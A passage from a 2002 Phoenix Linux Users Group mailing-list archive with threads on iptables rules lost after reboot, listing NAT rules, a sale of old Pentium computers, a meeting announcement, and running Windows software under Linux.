Parrish) Date: Mon, 3 Jun 2002 17:09:43 -0400 Subject: iptables missing after reboot Message-ID: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. Carl P. ============================================================ From: mazdaracer Date: 2002/06/03 Mon AM 11:56:01 EDT To: "plug-discuss@lists.PLUG.phoenix.az.us" Subject: iptables missing after reboot After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:35:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 03 Jun 2002 14:35:55 -0700 Subject: eBay Listing Message-ID: <200206032151.RAA16097@hostinworld6.com> This is the sort of thing that gives linux a bad rep or confuses people about linux. Just look at the category it's under! I'm not saying the entire listing is wrong or bad but the top part is misleading to the inexperienced. http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 Just My Little Vent, Bryce C. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:01:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:01:13 -0700 (PDT) Subject: Old computers available Message-ID: I've got about 25 spare computers that my company is looking to sell or donate to a good cause. Here are the stats: Pentium 133Mhz 64MB RAM 1.3GB HD 10Mb NIC 1MB SVGA Video Card Linux installs fine on these computers and they could be put to a lot of good use as a low-traffic web server, DNS server, mail server, router, proxy, or even a thin-client for the Linux Terminal Server Project! :-) Anyone interested? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:04:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 15:04:05 -0700 Subject: iptables missing after reboot References: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <3CFBE7D5.1EBB7EAF@qwest.net> Isn't that how it is done on all the systems? I've dealt with IPf under solaris and ipchains/iptables under RH and I believe debian does the same thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as the last thing the system did upon booting up. > Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. > > Carl P. > ============================================================ > From: mazdaracer > Date: 2002/06/03 Mon AM 11:56:01 EDT > To: "plug-discuss@lists.PLUG.phoenix.az.us" > > Subject: iptables missing after reboot > > After I rebooted my Mandrake 8.1 box, I was unable to get my laptop > connected to the net. I did 'iptables --list' and it was empty. So I > re-ran Mandrake Control Center and did the connection sharing thing and > it was ok. Having to do that after a reboot just ain't right. Is there > something (obviously) that I'm not having start up in the xinetd or rc.d > area? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:15:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dale Farnsworth) Date: Mon, 3 Jun 2002 15:15:09 -0700 Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> References: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: <20020603221509.GA6268@farnsworth.org> On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:35:59 -0700 (MST) Subject: Old computers available In-Reply-To: Message-ID: Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:32:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:32:21 -0700 (MST) Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: Am 03. Jun, 2002 schwätzte Carl Parrish so: > Anyone know off hand how to look up the prerouting and postrounting rules > on iptables? > > I've been trying iptables -L NAT and / or iptables -L PREROUTING but . > it keeps telling me no such table. Can someone tell me what I'm doing . > wrong? (btw yes I know Prerouting isn't actually a table i'm just . > getting desprate. ) . iptables -t nat -nL 'nat' has to be lower case. ciao, der.hans -- # https://www.LuftHans.com/ # Nobody grows old merely by living a number of years. # We grow old by deserting our ideals. # Years may wrinkle the skin, but to give up enthusiasm # wrinkles the soul. -- Samuel Ullman From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:38:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:38:47 -0700 (MST) Subject: iptables missing after reboot In-Reply-To: <3CFBE7D5.1EBB7EAF@qwest.net> Message-ID: Am 03. Jun, 2002 schwätzte Kevin Brown so: > Isn't that how it is done on all the systems? I've dealt with IPf under > solaris and ipchains/iptables under RH and I believe debian does the same > thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as > the last thing the system did upon booting up. It should be done either right after networking. Actually, it should be done in the middle of networking. After the interfaces are up, but before routing gets setup, but that's problematic with how networking's started. Waiting until later exposes your services until the firewall comes up. ciao, der.hans -- # https://www.LuftHans.com/ # "Communications without intelligence is noise; # Intelligence without communications is irrelevant." # Gen. Alfred. M. Gray, USMC From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:37:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:37:25 -0400 Subject: Old computers available Message-ID: <20020603223723.BQEA8234.lakemtao06.cox.net@smtp.central.cox.net> I've got a NPO that could use four of them. Carl Parrish ============================================================ From: "der.hans" Date: 2002/06/03 Mon PM 06:35:59 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:54:28 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: On Mon, 3 Jun 2002, der.hans wrote: > Maybe setup a small LTSP demo at the InstallFest. That's a great idea. I'll plan to do that for the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:46:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:46:27 -0400 Subject: IP tables lookup Message-ID: <20020603224625.BRFP8234.lakemtao06.cox.net@smtp.central.cox.net> Thanks Dale that's what I needed. Carl P. ============================================================ On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:43:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 15:43:17 -0700 Subject: Old computers available References: Message-ID: <016701c20b50$0df4a020$d701870a@jeffbarker> How much are they askin? I might be interested. ----- Original Message ----- From: "Matt Alexander" To: Sent: Monday, June 03, 2002 3:01 PM Subject: Old computers available | I've got about 25 spare computers that my company is looking to sell or | donate to a good cause. | Here are the stats: | | Pentium 133Mhz | 64MB RAM | 1.3GB HD | 10Mb NIC | 1MB SVGA Video Card | | Linux installs fine on these computers and they could be put to a lot of | good use as a low-traffic web server, DNS server, mail server, router, | proxy, or even a thin-client for the Linux Terminal Server Project! :-) | Anyone interested? | Thanks, | ~M | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 15:54:36 -0700 Subject: 05-28-02 Linux Desktop presentation online References: Message-ID: <3CFBF3AC.4AB23697@earthlink.net> VERY NICE!!! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:03:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 3 Jun 2002 16:03:38 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <0206031603380V.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If the company is willing to donate them to a non-profit, I bet we can make some arrangements with AZOTO. Let me know if you want me to contact AZOTO. On Monday 03 June 2002 15:01, you wrote: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPv1yisk3ywszI1FEQLHqACfdDAn9IQ7h1A63nCblNTwXfSXLWYAn29O EmIOtr86QTBRpfXUtZgtQncE =iYSF -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:07:58 -0700 (PDT) Subject: Old computers available In-Reply-To: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: How's $25 each sound? On Mon, 3 Jun 2002, Jeff wrote: > How much are they askin? I might be interested. > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Monday, June 03, 2002 3:01 PM > Subject: Old computers available > > > | I've got about 25 spare computers that my company is looking to sell or > | donate to a good cause. > | Here are the stats: > | > | Pentium 133Mhz > | 64MB RAM > | 1.3GB HD > | 10Mb NIC > | 1MB SVGA Video Card > | > | Linux installs fine on these computers and they could be put to a lot of > | good use as a low-traffic web server, DNS server, mail server, router, > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > | Anyone interested? > | Thanks, > | ~M > | > | ________________________________________________ > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > | > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:57:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Porter) Date: Mon, 3 Jun 2002 10:57:57 -0700 Subject: Windows and Linux Message-ID: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. Also, has anyone run into problems with accessing Windows only devices using either of these options? Mike -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Sunday, May 26, 2002 9:36 PM To: plug-discuss@lists.plug.phoenix.az.us Cc: punkmmiv@cox.net Subject: Re: Windows and Linux On 26 May 2002 22:44:49 -0700 Matt wrote: > I know that Windows and Linux are supposed to operate pretty well > together, but the only articles I've read are about installing Linux > once Windows is already there. I'm running a pure SuSE 8.0 box and I > was wondering if it's possible to install Windows on it while still > being able to use my current install? Try win4lin. It lets you run windows as a window inside your GNU/Linux environment. Unlike VMWare and friends it is not a VM. Also, unlike WINE it actually works and works well. It will even let windows use (read/write) to your GNU/Linux file systems and such. It is not free, but neither is M$ Windows (so I assume you dont have a problem with that) and it is by far the best way to 'suffer' M$ while not having to 'leave' a real operating system. -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:29:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 15:29:34 -0700 (MST) Subject: [PLUG-announce]Meeting tonight! (fwd) Message-ID: moin, moin, just a final reminder about tonight's devel meeting. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 15:51:03 -0400 From: alandd@mindspring.com Reply-To: plug-devel@lists.PLUG.phoenix.az.us To: plug-devel@lists.PLUG.phoenix.az.us Subject: Meeting tonight! The Devel meeting is all set for tonight. 7:00pm Adtron Corporation 3710 E. University, Suite 4 Phoenix See the plug web site for directions and map. Vic will present on the Autoconf suite of tools. I just ordered the pizzas and soda. Someone want to pick up some ice on the way over? Alan _______________________________________________ PLUG-devel mailing list - PLUG-devel@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-devel _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:17:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eddie Williams) Date: Mon, 3 Jun 2002 16:17:21 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: I'll buy one. On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- -Eddie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:15:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 16:15:30 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <200206031615.30091.voltage_spike@fastmail.fm> On Monday 03 June 2002 04:07 pm, Matt Alexander wrote: > How's $25 each sound? I'm not sure. How do I type the sound of a wallet opening? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:28:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:28:40 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 3 Jun 2002 16:21:29 -0700 Subject: Old computers available In-Reply-To: References: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Sounds OK to me. Do they have CD's floppies or anything else interesting? What kind of video and network cards? Passive heatsinks or fans? (Interesting for embedded use...) On Mon, Jun 03, 2002 at 04:07:58PM -0700, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:36:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:36:40 -0700 (PDT) Subject: Old computers available In-Reply-To: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Message-ID: On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:30:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 18:30:37 -0500 (CDT) Subject: Windows and Linux In-Reply-To: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 16:32:08 -0700 Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> References: <200206032151.RAA16097@hostinworld6.com> Message-ID: <1023147128.3cfbfc78a73c6@webmail.freedom2surf.net> Quoting "Bryce C." : > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > I really can't find objection to this listing. Most of the info is copies from the Mandrake site and they even offer free tech support. True, they could have listed the auction under the OS catagory, but I find it less objectionable then people selling Windows boot disks for the same price. Looks like a small business www.linuxpcshop.com using eBay to get their name out. They won't care if the item sells as long as it draws traffic to the (unfinished) website. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:39:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 20:39:53 -0400 Subject: Windows and Linux Message-ID: <20020604003951.DSAH4796.lakemtao08.cox.net@smtp.central.cox.net> CodeWeavers have a product (called CrossPoint I *think*) that gives you DirectX support on Linux. I think its just based off of the Wine code but when I used it it worked *very* well. Wait a min now that I think about it it wasn't the CodeWeavers product I used. it was the Transgamming product (http://www.transgaming.com/news.php?newsid=25). I only loaded it up on my computer then brought up some games. So I don't know how well extended play would work. But installation was easy. Later I did some upgrades on other software which broke it. I not *really * much of a gammer so I haven't really bothered with it since. Carl P. ============================================================ From: Derek Neighbors Date: 2002/06/03 Mon PM 07:30:37 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Windows and Linux > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your 